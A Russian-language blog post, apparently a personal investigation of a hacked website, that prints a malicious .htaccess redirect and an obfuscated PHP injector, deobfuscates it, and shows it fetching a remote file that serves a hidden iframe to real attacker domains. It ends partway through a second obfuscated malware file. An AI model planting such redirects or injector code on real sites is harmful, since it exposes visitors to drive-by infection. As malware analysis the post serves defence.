Моё маленькое расследование или История одного взлома

от автора

Всё началось с сообщения «Тут?» от моего друга в одной из социальных сетей. «Яндекс нашёл на сайте вирусы. Глянешь?» «Отчего ж не глянуть», подумал я.
Так началось моё трёхдневное исследование скриптов, дабы понять суть взлома и что там вообще происходит.

Яндекс ругался на «Поведенческий анализ».
Первым делом осмотрел .htaccess — в начало файла оказались дописаны строки:

<IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|yandex|ya|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|linkedin|flickr|filesearch|yell|openstat|metabot|gigablast|entireweb|amfibi|dmoz|yippy|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|infospace|web|websuche|witch|wolong|oekoportal|freenet|arcor|alexana|tiscali|kataweb|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|westaustraliaonline)\.(.*) RewriteCond %{HTTP_USER_AGENT} ^.*(msie|opera) [NC] RewriteCond %{REQUEST_FILENAME} !/index_backup.php RewriteRule (.*) /index_backup.php?query=$1 [QSA,L] </IfModule> 

Тут всё просто — все пользователи, что перешли на наш сайт с поисковиков, каталогов и пр. и использовали для просмотра браузера Opera или Internet Explorer, перенаправляются на некую страницу index_backup.php.
Содержимое этой страницы — одна строка. Но какая! (Здесь и далее код буду прятать под спойлеры, дабы не нагромождать).

содержимое файла

<? $GLOBALS['_62805507_']=Array(base64_decode(''.'ZG'.'VmaW5'.'l'),base64_decode('ZmlsZV'.'9nZ'.'XRfY29'.'u'.'dGV'.'udHM'.'='),base64_decode('c3RyZ'.'WFtX'.'2Nvbn'.'RleHR'.'fY3JlYXR'.'l'),base64_decode(''.'Zml'.'sZV9nZ'.'X'.'RfY29'.'udGVudHM='),base64_decode('c3'.'R'.'ybmF0'.'Y21'.'w'),base64_decode('bXRfcmFuZ'.'A='.'='),base64_decode('ZnB1dHM='),base64_decode('ZnJlYWQ'.'='),base64_decode('ZmN'.'sb3N'.'l'),base64_decode('c3RycG9z'),base64_decode('YW'.'RkY3NsYX'.'N'.'oZXM='),base64_decode('Z'.'mZsdXNo'),base64_decode(''.'c3V'.'ic3Ry'),base64_decode('Zm'.'lsZV'.'9'.'nZXRfY29udGVu'.'dH'.'M='),base64_decode('YXJyY'.'XlfZm'.'lsbF9rZXlz'),base64_decode(''.'Y3Vyb'.'F9pbml0'),base64_decode('Y3VybF9tdWx0aV9leGVj'),base64_decode('YXJyY'.'Xlfc'.'HVzaA=='),base64_decode('Y3VybF9zZXRvc'.'HQ'.'='),base64_decode('bXRf'.'cmFuZ'.'A=='),base64_decode('aW1hZ'.'2VjcmVhdGVmcm9'.'tZ2lm'),base64_decode('Y3'.'Vy'.'bF9'.'zZX'.'RvcH'.'Q'.'='),base64_decode('Y3VybF9zZX'.'Rvc'.'HQ='),base64_decode('Y3'.'Vy'.'bF'.'9l'.'eG'.'Vj'),base64_decode('Y3'.'Vy'.'bF9jbG9z'.'Z'.'Q=='),base64_decode(''.'aW5pX2d'.'ldA='.'='),base64_decode('c'.'GFyc2VfdX'.'Js'),base64_decode('ZnNv'.'Y2tv'.'cGVu'),base64_decode('ZnV'.'uY3R'.'p'.'b'.'2'.'5f'.'Z'.'Xh'.'pc'.'3Rz')); ?><? function _1051993851($i){$a=Array('SUZ'.'SQU1FX1'.'V'.'S'.'T'.'A==','aH'.'R0c'.'DovL3d'.'vcmRwcmV'.'zc3Rlc3Qu'.'aW'.'5m'.'by83Ln'.'R4'.'d'.'A='.'=',''.'ZA==','aHR0cDovLw='.'=','S'.'F'.'RUU'.'F9IT1NU','Uk'.'VRVU'.'VTV'.'F'.'9VUkk'.'=','a'.'HR0'.'cA==','dGltZW91dA==','R'.'0VUIA==',''.'Pw='.'=','I'.'CB'.'IVFRQLzEuMA0K','VXNlci1BZ2VudDo'.'gTW96'.'a'.'WxsYS81L'.'jAgKFd'.'p'.'bmRvd3M7IFU7IFdpbmRvd'.'3MgT'.'lQgN'.'S4xO'.'yBl'.'b'.'i1V'.'UzsgcnY6MS44LjA'.'uMykgR2'.'Vj'.'a2'.'8v'.'MjAwNjA0'.'M'.'jYgRmlyZW'.'ZveC8x'.'LjUuM'.'C4zDQo=',''.'QW'.'NjZXB0'.'OiAqLyoNCg='.'=','QWNjZXB0'.'LUxhb'.'md1YWdlOiBlbi11cyxlbjt'.'xPTAuNQ0K','QWN'.'jZXB'.'0L'.'UNo'.'YXJz'.'ZX'.'Q6IElTTy04'.'ODU5LTEsdXR'.'mLTg7cT'.'0wLjcs'.'Kjt'.'xPTAu'.'Nw0K','S2VlcC'.'1'.'Bb'.'Gl'.'2'.'ZT'.'ogMzA'.'w'.'D'.'Qo=',''.'Q29'.'ubmVjd'.'Glv'.'bjoga'.'2Vl'.'cC1hbGl2ZQ0K','aQ==','DQoNC'.'g==','Y'.'Wxsb3df'.'dXJsX'.'2ZvcG'.'Vu','aG9zd'.'A==','aG9zd'.'A==','cGF0aA==','cXVl'.'c'.'nk=',''.'Y3VybF9pbm'.'l0');return base64_decode($a[$i]);} ?><?php $GLOBALS['_62805507_'][0](_1051993851(0),_1051993851(1));$_0=_1051993851(2);echo l__3(IFRAME_URL);$_1=round(0+2345.5+2345.5);echo@$GLOBALS['_62805507_'][1](_1051993851(3) .$_SERVER[_1051993851(4)] .$_SERVER[_1051993851(5)]);function l__0($_2){$_3=$GLOBALS['_62805507_'][2](array(_1051993851(6)=> array(_1051993851(7)=> round(0+3+3+3+3+3))));return $GLOBALS['_62805507_'][3]($_2,false,$_3);(round(0+3799)-round(0+759.8+759.8+759.8+759.8+759.8)+round(0+3457)-round(0+3457))?$GLOBALS['_62805507_'][4]($_4,$_3):$GLOBALS['_62805507_'][5](round(0+767.33333333333+767.33333333333+767.33333333333),round(0+1266.3333333333+1266.3333333333+1266.3333333333));}function l__1($_5,$_6,$_7,$_8){$GLOBALS['_62805507_'][6]($_5,_1051993851(8) .$_7 ._1051993851(9) .$_8 ._1051993851(10) ."Host: $_6\r\n" ._1051993851(11) ._1051993851(12) ._1051993851(13) ._1051993851(14) ._1051993851(15) ._1051993851(16) ."Referer: http://$_6\r\n\r\n");while($_4=$GLOBALS['_62805507_'][7]($_5,round(0+1365.3333333333+1365.3333333333+1365.3333333333))){$_9 .= $_4;}$GLOBALS['_62805507_'][8]($_5);$_10=_1051993851(17);$_11=$GLOBALS['_62805507_'][9]($_9,_1051993851(18));if((round(0+968.25+968.25+968.25+968.25)^round(0+1291+1291+1291))&& $GLOBALS['_62805507_'][10]($_5,$_2,$_5,$_7))$GLOBALS['_62805507_'][11]($_12,$_7,$_11);$_9=$GLOBALS['_62805507_'][12]($_9,$_11+round(0+1.3333333333333+1.3333333333333+1.3333333333333));if((round(0+1014.5+1014.5+1014.5+1014.5)^round(0+4058))&& $GLOBALS['_62805507_'][13]($_3,$_3,$_3))$GLOBALS['_62805507_'][14]($_13);return $_9;}function l__2($_2){$_13=$GLOBALS['_62805507_'][15]($_2);if((round(0+736.6+736.6+736.6+736.6+736.6)+round(0+312+312+312))>round(0+3683)|| $GLOBALS['_62805507_'][16]($_14));else{$GLOBALS['_62805507_'][17]($_11);}$GLOBALS['_62805507_'][18]($_13,42,FALSE);if(round(0+3068.5+3068.5)<$GLOBALS['_62805507_'][19](round(0+572.33333333333+572.33333333333+572.33333333333),round(0+4415)))$GLOBALS['_62805507_'][20]($_2,$_15,$_16);$GLOBALS['_62805507_'][21]($_13,19913,TRUE);$GLOBALS['_62805507_'][22]($_13,13,round(0+3+3+3+3+3));$_12=$GLOBALS['_62805507_'][23]($_13);$GLOBALS['_62805507_'][24]($_13);return $_12;}function l__3($_2){if($GLOBALS['_62805507_'][25](_1051993851(19))== round(0+0.33333333333333+0.33333333333333+0.33333333333333)){echo l__0($_2);}else{$_14=$GLOBALS['_62805507_'][26]($_2);if($_5=@$GLOBALS['_62805507_'][27]($_14[_1051993851(20)],round(0+40+40),$_15,$_16,round(0+3+3+3+3+3))){echo l__1($_5,$_14[_1051993851(21)],$_14[_1051993851(22)],$_14[_1051993851(23)]);}elseif(@$GLOBALS['_62805507_'][28](_1051993851(24))){echo l__2($_2);}}} 

После добавления переносов код стал немного более читабелен, но совсем не стал понятнее:

содержимое отредактированного файла

<?  $GLOBALS['_62805507_']=Array( 	base64_decode('ZGVmaW5l'),  	base64_decode('ZmlsZV9nZXRfY29udGVudHM='),  	base64_decode('c3RyZWFtX2NvbnRleHRfY3JlYXRl'), 	base64_decode('ZmlsZV9nZXRfY29udGVudHM='), 	base64_decode('c3RybmF0Y21w'), 	base64_decode('bXRfcmFuZA=='), 	base64_decode('ZnB1dHM='), 	base64_decode('ZnJlYWQ='), 	base64_decode('ZmNsb3Nl'), 	base64_decode('c3RycG9z'), 	base64_decode('YWRkY3NsYXNoZXM='), 	base64_decode('ZmZsdXNo'), 	base64_decode('c3Vic3Ry'), 	base64_decode('ZmlsZV9nZXRfY29udGVudHM='), 	base64_decode('YXJyYXlfZmlsbF9rZXlz'), 	base64_decode('Y3VybF9pbml0'), 	base64_decode('Y3VybF9tdWx0aV9leGVj'), 	base64_decode('YXJyYXlfcHVzaA=='), 	base64_decode('Y3VybF9zZXRvcHQ='), 	base64_decode('bXRfcmFuZA=='), 	base64_decode('aW1hZ2VjcmVhdGVmcm9tZ2lm'), 	base64_decode('Y3VybF9zZXRvcHQ='), 	base64_decode('Y3VybF9zZXRvcHQ='), 	base64_decode('Y3VybF9leGVj'), 	base64_decode('Y3VybF9jbG9zZQ=='), 	base64_decode('aW5pX2dldA=='), 	base64_decode('cGFyc2VfdXJs'), 	base64_decode('ZnNvY2tvcGVu'), 	base64_decode('ZnVuY3Rpb25fZXhpc3Rz')); 	?> <?  function _1051993851($i){ 	$a=Array( 	'SUZSQU1FX1VSTA==', 	'aHR0cDovL3dvcmRwcmVzc3Rlc3QuaW5mby83LnR4dA==', 	'ZA==', 	'aHR0cDovLw==', 	'SFRUUF9IT1NU', 	'UkVRVUVTVF9VUkk=', 	'aHR0cA==', 	'dGltZW91dA==', 	'R0VUIA==', 	'Pw==', 	'ICBIVFRQLzEuMA0K', 	'VXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBlbi1VUzsgcnY6MS44LjAuMykgR2Vja28vMjAwNjA0MjYgRmlyZWZveC8xLjUuMC4zDQo=', 	'QWNjZXB0OiAqLyoNCg==', 	'QWNjZXB0LUxhbmd1YWdlOiBlbi11cyxlbjtxPTAuNQ0K', 	'QWNjZXB0LUNoYXJzZXQ6IElTTy04ODU5LTEsdXRmLTg7cT0wLjcsKjtxPTAuNw0K', 	'S2VlcC1BbGl2ZTogMzAwDQo=', 	'Q29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0K', 	'aQ==', 	'DQoNCg==', 	'YWxsb3dfdXJsX2ZvcGVu', 	'aG9zdA==', 	'aG9zdA==', 	'cGF0aA==', 	'cXVlcnk=', 	'Y3VybF9pbml0'); return base64_decode($a[$i]); }  ?> <?php  $GLOBALS['_62805507_'][0](_1051993851(0),_1051993851(1)); $_0=_1051993851(2); echo l__3(IFRAME_URL); $_1=round(0+2345.5+2345.5); echo@$GLOBALS['_62805507_'][1](_1051993851(3) .$_SERVER[_1051993851(4)] .$_SERVER[_1051993851(5)]);  function l__0($_2){ 	$_3=$GLOBALS['_62805507_'][2](array(_1051993851(6)=> array(_1051993851(7)=> round(0+3+3+3+3+3)))); 	return $GLOBALS['_62805507_'][3]($_2,false,$_3); 	(round(0+3799)-round(0+759.8+759.8+759.8+759.8+759.8)+round(0+3457)-round(0+3457))?$GLOBALS['_62805507_'][4]($_4,$_3):$GLOBALS['_62805507_'][5](round(0+767.33333333333+767.33333333333+767.33333333333),round(0+1266.3333333333+1266.3333333333+1266.3333333333)); }  function l__1($_5,$_6,$_7,$_8){ 	$GLOBALS['_62805507_'][6]($_5,_1051993851(8) .$_7 ._1051993851(9) .$_8 ._1051993851(10) ."Host: $_6\r\n" ._1051993851(11) ._1051993851(12) ._1051993851(13) ._1051993851(14) ._1051993851(15) ._1051993851(16) ."Referer: http://$_6\r\n\r\n"); 	while($_4=$GLOBALS['_62805507_'][7]($_5,round(0+1365.3333333333+1365.3333333333+1365.3333333333))){ 		$_9 .= $_4; 	} 	$GLOBALS['_62805507_'][8]($_5); 	$_10=_1051993851(17); 	$_11=$GLOBALS['_62805507_'][9]($_9,_1051993851(18)); 	if((round(0+968.25+968.25+968.25+968.25)^round(0+1291+1291+1291))&& $GLOBALS['_62805507_'][10]($_5,$_2,$_5,$_7))$GLOBALS['_62805507_'][11]($_12,$_7,$_11); 	$_9=$GLOBALS['_62805507_'][12]($_9,$_11+round(0+1.3333333333333+1.3333333333333+1.3333333333333)); 	if((round(0+1014.5+1014.5+1014.5+1014.5)^round(0+4058))&& $GLOBALS['_62805507_'][13]($_3,$_3,$_3))$GLOBALS['_62805507_'][14]($_13); 	return $_9; }  function l__2($_2){ 	$_13=$GLOBALS['_62805507_'][15]($_2); 	if((round(0+736.6+736.6+736.6+736.6+736.6)+round(0+312+312+312))>round(0+3683)|| $GLOBALS['_62805507_'][16]($_14)); 	else{ 		$GLOBALS['_62805507_'][17]($_11); 	} 	$GLOBALS['_62805507_'][18]($_13,42,FALSE);         if(round(0+3068.5+3068.5)<$GLOBALS['_62805507_'][19](round(0+572.33333333333+572.33333333333+572.33333333333),round(0+4415)))$GLOBALS['_62805507_'][20]($_2,$_15,$_16); 	$GLOBALS['_62805507_'][21]($_13,19913,TRUE);         $GLOBALS['_62805507_'][22]($_13,13,round(0+3+3+3+3+3)); 	$_12=$GLOBALS['_62805507_'][23]($_13); 	$GLOBALS['_62805507_'][24]($_13); 	return $_12; }  function l__3($_2){ 	if($GLOBALS['_62805507_'][25](_1051993851(19))== round(0+0.33333333333333+0.33333333333333+0.33333333333333)){ 		echo l__0($_2); 	}else{ 		$_14=$GLOBALS['_62805507_'][26]($_2); 		if($_5=@$GLOBALS['_62805507_'][27]($_14[_1051993851(20)],round(0+40+40),$_15,$_16,round(0+3+3+3+3+3))){ 			echo l__1($_5,$_14[_1051993851(21)],$_14[_1051993851(22)],$_14[_1051993851(23)]); 		}elseif(@$GLOBALS['_62805507_'][28](_1051993851(24))){ 			echo l__2($_2); 		} 	} }  ?> 

Пришло время раскодировать полученный код:

содержимое файла

<?  $GLOBALS['_62805507_']=Array(  //	   [0] => define  //    [1] => file_get_contents  //    [2] => stream_context_create  //    [3] => file_get_contents  //    [4] => strnatcmp  //    [5] => mt_rand  //    [6] => fputs  //    [7] => fread  //    [8] => fclose  //    [9] => strpos  //    [10] => addcslashes  //    [11] => fflush  //    [12] => substr  //    [13] => file_get_contents  //    [14] => array_fill_keys  //    [15] => curl_init  //    [16] => curl_multi_exec  //    [17] => array_push  //    [18] => curl_setopt  //    [19] => mt_rand  //    [20] => imagecreatefromgif  //    [21] => curl_setopt  //    [22] => curl_setopt  //    [23] => curl_exec  //    [24] => curl_close  //    [25] => ini_get  //    [26] => parse_url  //    [27] => fsockopen  //    [28] => function_exists 	base64_decode('ZGVmaW5l'),  	base64_decode('ZmlsZV9nZXRfY29udGVudHM='),  	base64_decode('c3RyZWFtX2NvbnRleHRfY3JlYXRl'), 	base64_decode('ZmlsZV9nZXRfY29udGVudHM='), 	base64_decode('c3RybmF0Y21w'), 	base64_decode('bXRfcmFuZA=='), 	base64_decode('ZnB1dHM='), 	base64_decode('ZnJlYWQ='), 	base64_decode('ZmNsb3Nl'), 	base64_decode('c3RycG9z'), 	base64_decode('YWRkY3NsYXNoZXM='), 	base64_decode('ZmZsdXNo'), 	base64_decode('c3Vic3Ry'), 	base64_decode('ZmlsZV9nZXRfY29udGVudHM='), 	base64_decode('YXJyYXlfZmlsbF9rZXlz'), 	base64_decode('Y3VybF9pbml0'), 	base64_decode('Y3VybF9tdWx0aV9leGVj'), 	base64_decode('YXJyYXlfcHVzaA=='), 	base64_decode('Y3VybF9zZXRvcHQ='), 	base64_decode('bXRfcmFuZA=='), 	base64_decode('aW1hZ2VjcmVhdGVmcm9tZ2lm'), 	base64_decode('Y3VybF9zZXRvcHQ='), 	base64_decode('Y3VybF9zZXRvcHQ='), 	base64_decode('Y3VybF9leGVj'), 	base64_decode('Y3VybF9jbG9zZQ=='), 	base64_decode('aW5pX2dldA=='), 	base64_decode('cGFyc2VfdXJs'), 	base64_decode('ZnNvY2tvcGVu'), 	base64_decode('ZnVuY3Rpb25fZXhpc3Rz')); 	?> <?  function _1051993851($i){ 	$a=Array( 	// [0] => IFRAME_URL     // [1] => http://wordpresstest.info/7.txt     // [2] => d     // [3] => http://     // [4] => HTTP_HOST     // [5] => REQUEST_URI     // [6] => http     // [7] => timeout     // [8] => GET      // [9] => ?     // [10] =>   HTTP/1.0      // [11] => User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3      // [12] => Accept: */*      // [13] => Accept-Language: en-us,en;q=0.5      // [14] => Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7      // [15] => Keep-Alive: 300      // [16] => Connection: keep-alive      // [17] => i     // [18] =>        // [19] => allow_url_fopen     // [20] => host     // [21] => host     // [22] => path     // [23] => query     // [24] => curl_init 	'SUZSQU1FX1VSTA==', 	'aHR0cDovL3dvcmRwcmVzc3Rlc3QuaW5mby83LnR4dA==', 	'ZA==', 	'aHR0cDovLw==', 	'SFRUUF9IT1NU', 	'UkVRVUVTVF9VUkk=', 	'aHR0cA==', 	'dGltZW91dA==', 	'R0VUIA==', 	'Pw==', 	'ICBIVFRQLzEuMA0K', 	'VXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBlbi1VUzsgcnY6MS44LjAuMykgR2Vja28vMjAwNjA0MjYgRmlyZWZveC8xLjUuMC4zDQo=', 	'QWNjZXB0OiAqLyoNCg==', 	'QWNjZXB0LUxhbmd1YWdlOiBlbi11cyxlbjtxPTAuNQ0K', 	'QWNjZXB0LUNoYXJzZXQ6IElTTy04ODU5LTEsdXRmLTg7cT0wLjcsKjtxPTAuNw0K', 	'S2VlcC1BbGl2ZTogMzAwDQo=', 	'Q29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0K', 	'aQ==', 	'DQoNCg==', 	'YWxsb3dfdXJsX2ZvcGVu', 	'aG9zdA==', 	'aG9zdA==', 	'cGF0aA==', 	'cXVlcnk=', 	'Y3VybF9pbml0'); return base64_decode($a[$i]); }  ?> <?php   defined(IFRAME_URL, "http://wordpresstest.info/7.txt"); $_0 = "d"; //мусор echo l__3(IFRAME_URL); $_1 = 4691; //мусор echo @file_get_contents("http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]);  function l__0 ($iframeurl) { // получение данных из файла с помощью file_get_contents     $socket_options = stream_context_create(array("http" => array("timeout" => 15)));     return file_get_contents($iframeurl, false, $_3);      // ф-ия уже вернула ответ. То, что ниже - мусор, дабы запутать.     if (0){     	strnatcmp($_4, $_3);     } else {     	mt_rand(2302,3799);     }  }  function l__1 ($socket, $host, $path, $query) { // получение данных из файла с помощью fsockopen     fputs($socket,         "GET ".$path."?".$query." HTTP 1.0\r\n".         "Host: $host\r\n".         "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3\r\n".         "Accept: */*\r\n".         "Accept-Language: en-us,en;q=0.5\r\n".         "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n".         "Keep-Alive: 300\r\n".         "Connection: keep-alive\r\n".         "Referer: http://$host\r\n\r\n"     );     while($buffer = fread($socket, 4096)) {         $response .= $buffer;     }     fclose($socket);      $_10 = "i"; // мусор      $header_end = strpos($response, "\r\n\r\n");      // мусор     if (0 && addcslashes($_5,$_2,$_5,$_7)){         fflush($_12,$_7,$_11);     }      $response = substr($response, $header_end + 4);      //мусор     if(0 && file_get_contents($_3,$_3,$_3)){         array_fill_keys($_13);     }      return $response; }  function l__2 ($iframeurl) { // получение данных из файла с помощью curl     $curl = curl_init($iframeurl);      //мусор     if (4619>3683 || curl_multi_exec($_14));     else {         array_push($_11);     }      curl_setopt($curl, 42, FALSE);      // мусор     if (6137 < mt_rand(1717, 4415)){         imagecreatefromgif($_2,$_15,$_16);     }      curl_setopt($curl, 19913, TRUE);     curl_setopt($curl, 13, 15);     $response = curl_exec($curl);     curl_close($curl);     return $response; }  function l__3 ($iframeurl) { // выбор способа для получения данных из файла     if (ini_get("allow_url_fopen") == 1) {         echo l__0($iframeurl);     } else {         $parsed = parse_url($iframeurl);         if($socket = @fsockopen($parsed["host"], 80, $garbage_variable1, $garbage_variable2, 15)) {             echo l__1($socket, $parsed["host"], $parsed["path"], $parsed["query"]);         } elseif (@function_exists("curl_init")) {             echo l__2($iframeurl);         }     } } ?>  

И удалить всё лишнее:

<?php  defined(IFRAME_URL, "http://wordpresstest.info/7.txt"); echo l__3(IFRAME_URL); echo @file_get_contents("http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]);  function l__0 ($iframeurl) { // получение данных из файла с помощью file_get_contents     $socket_options = stream_context_create(array("http" => array("timeout" => 15)));     return file_get_contents($iframeurl, false, $_3); }  function l__1 ($socket, $host, $path, $query) { // получение данных из файла с помощью fsockopen     fputs($socket,         "GET ".$path."?".$query." HTTP 1.0\r\n".         "Host: $host\r\n".         "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3\r\n".         "Accept: */*\r\n".         "Accept-Language: en-us,en;q=0.5\r\n".         "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n".         "Keep-Alive: 300\r\n".         "Connection: keep-alive\r\n".         "Referer: http://$host\r\n\r\n"     );     while($buffer = fread($socket, 4096)) {         $response .= $buffer;     }     fclose($socket);     $header_end = strpos($response, "\r\n\r\n");     $response = substr($response, $header_end + 4);     return $response; }  function l__2 ($iframeurl) { // получение данных из файла с помощью curl     $curl = curl_init($iframeurl);     curl_setopt($curl, 42, FALSE);     curl_setopt($curl, 19913, TRUE);     curl_setopt($curl, 13, 15);     $response = curl_exec($curl);     curl_close($curl);     return $response; }  function l__3 ($iframeurl) { // выбор способа для получения данных из файла     if (ini_get("allow_url_fopen") == 1) {         echo l__0($iframeurl);     } else {         $parsed = parse_url($iframeurl);         if($socket = @fsockopen($parsed["host"], 80, $garbage_variable1, $garbage_variable2, 15)) {             echo l__1($socket, $parsed["host"], $parsed["path"], $parsed["query"]);         } elseif (@function_exists("curl_init")) {             echo l__2($iframeurl);         }     } } ?>  

Из кода ясно, что скрипт пытается любым возможным (из трёх предложенных) способом получить данные, расположенные по адресу wordpresstest.info/7.txt (браузеры и антивирусы могут ругаться при посещении). На данной странице находится всего одна строчка — однопиксельный невидимый фрейм, адрес в котором меняется раз в минуту.

<iframe src="http://raynesparkcarbootsale.co.uk/vmyehem.php" width=1 height=1 style="visibility: hidden"></iframe> 

При переходе по данному адресу мы увидим белый экран с 2 символами (1z / 2z / 3z / 4z), меняющимися в зависимости от используемых браузера и операционной системы.

Поняв, что адрес постоянно меняется, я написал маленький скрипт, который раз в минуту (по cron’у) стучался к файлу 7.txt, забирал из него адрес сайта и писал в базу.
Через несколько часов, мой наглый DDOS был, судя по всему, замечен и доступ моему скрипту был заблокирован. Но он успел успешно спарсить около 400 адресов, в которых оказалось порядка 20-30 доменов в зоне .ru.
Добраться до этого момента было не трудно — расшифровать код хоть и не быстро, но не сложно. А что делать дальше? Доступа к серверам, на которых расположены сайты из ссылки в файле 7.txt, у меня нет. А что делать, если доступа нет? Его надо попросить! Ну или хотя бы уговорить владельца отдать скрипт, на который ссылается фрейм.
Именно этот шаг оказался самым трудным — объяснить владельцу сайта, что я не взламывал его сайт, не хочу ему что-то продать, это не мой скрип и я не кодировал никаких его личных данных. Я просто хочу разобраться…
В конце концов, один из владельцев сайтов согласился отправить мне файл, понадеявшись, что на нём это не скажется как-либо отрицательно. Спасибо ему за это!

содержимое второго файла

<? $GLOBALS['_664181862_']=Array(base64_decode('Z'.'GVmaW5l'),base64_decode('c3RydG9'.'sb3dl'.'cg=='),base64_decode('a'.'W1'.'hZ2'.'Vj'.'c'.'mVhd'.'GV'.'mc'.'m9tZ2lm'),base64_decode('bX'.'RfcmFuZA=='),base64_decode('c'.'3'.'Ryc'.'G9z'),base64_decode('c3RycG9'.'z'),base64_decode('c3RydG9sb3'.'dlc'.'g=='),base64_decode('c3R'.'yX3JlcG'.'xh'.'Y'.'2'.'U='),base64_decode('dXJ'.'sZW'.'5jb'.'2Rl'),base64_decode('dX'.'JsZW5jb2Rl'),base64_decode('aGVhZG'.'Vy'),base64_decode('d'.'HJpbQ='.'='),base64_decode('aW'.'5pX2dldA'.'=='),base64_decode('cG'.'F'.'yc2VfdX'.'Js'),base64_decode(''.'ZnN'.'vY2tvcGVu'),base64_decode('Z'.'nVuY3R'.'pb'.'2'.'5fZX'.'hpc3'.'Rz'),base64_decode('c3RyZWFtX2'.'NvbnRleHR'.'f'.'Y3J'.'lY'.'XRl'),base64_decode('Y'.'XJyYXlf'.'cmVkdWNl'),base64_decode(''.'ZmZsdXNo'),base64_decode('Zmls'.'ZV9nZXRf'.'Y2'.'9udGVudH'.'M='),base64_decode('Z'.'n'.'B1dHM='),base64_decode(''.'c'.'3RybG'.'Vu'),base64_decode('b'.'XR'.'fcm'.'FuZA=='),base64_decode(''.'Y'.'XJyYXlfZmlsbA=='),base64_decode(''.'ZnJl'.'YWQ'.'='),base64_decode('ZmNs'.'b'.'3Nl'),base64_decode('c3'.'RycG9z'),base64_decode('bXRf'.'cmFuZA=='),base64_decode(''.'Y'.'XJ'.'yYXlfZmx'.'pc'.'A=='),base64_decode('c3'.'Vic3Ry'),base64_decode('Y3VybF9pbml0'),base64_decode(''.'c'.'3'.'Vic3Ry'),base64_decode(''.'b'.'XRfcmF'.'uZA'.'=='),base64_decode('Y3Vyb'.'F9zZXR'.'v'.'cH'.'Q'.'='),base64_decode('Y3Vy'.'bF9zZ'.'XRvcHQ'.'='),base64_decode('cH'.'Jl'.'Z19'.'yZ'.'XB'.'sYW'.'Nl'),base64_decode('Z'.'nJ'.'lYWQ='),base64_decode('Y'.'3V'.'ybF9zZXRvcHQ='),base64_decode('Y3'.'VybF9zZ'.'X'.'R'.'vcHQ'.'='),base64_decode('c'.'3Ry'.'d'.'mFs'),base64_decode(''.'YXJy'.'YX'.'lf'.'bWVy'.'Z2'.'U='),base64_decode(''.'Y3VybF9'.'l'.'e'.'GVj'),base64_decode(''.'Y3'.'VybF9j'.'bG9zZ'.'Q==')); ?><? function _724562126($i){$a=Array('QU'.'RN'.'SU5'.'fU'.'k'.'VESVJfVVJM','aHR0cDov'.'L3'.'R'.'lc3QuY'.'3VzdG9tc2V'.'4Y2Ftcy5jb20vcmIvZ2V0X3'.'V'.'ybC5waH'.'A=','SFRUUF'.'9VU'.'0VSX'.'0F'.'HR'.'U5U','SF'.'RUU'.'F9VU'.'0V'.'SX0FH'.'RU5U','','d'.'2luZG'.'93cw='.'=','MXo'.'=','b3Blcm'.'EvOS44MA='.'=','bXNpZSAxMA'.'==','bX'.'NpZSA5','bXNpZSA4','bXNpZSA3','Mno=','SFRU'.'UF9SRUZFUk'.'V'.'S','SF'.'RUUF'.'9SRU'.'ZFUkVS','','M'.'3'.'o=','SFRUUF9'.'I'.'T1N'.'U',''.'SFR'.'U'.'UF9IT'.'1NU','SFRUUF9I'.'T1NU','d3d3'.'Lg==','','SFRU'.'UF9IT1NU','ZD0'.'=','SF'.'R'.'UUF9IT1'.'N'.'U',''.'Og==','U'.'kVNT1'.'R'.'F'.'X0'.'FERFI'.'=','Og==','Q'.'kFE','NHo=','TG9'.'jY'.'XRpb2'.'46'.'IA==','Y'.'Wxs'.'b3dfdXJsX2Z'.'vcGVu','a'.'G9zd'.'A==','aG9zdA='.'=','cGF0aA='.'=','Y3VybF9pb'.'ml0','aHR0'.'cA==','bWV'.'0aG9'.'k','UE9TVA==','a'.'GV'.'hZGVy','Q29udG'.'VudC1'.'U'.'eXBlOiBh'.'cHBsaWNhdG'.'lv'.'bi9'.'4L'.'Xd3dy1m'.'b3'.'J'.'tL'.'XVybG'.'VuY29kZWQ'.'=','Cg==','Y29ud'.'GVudA'.'==','Ym'.'s=','UE'.'9'.'TVCA=','I'.'CBI'.'VFRQLzE'.'uM'.'A0K','VXN'.'lci'.'1BZ2'.'Vud'.'Dog'.'TW9'.'6a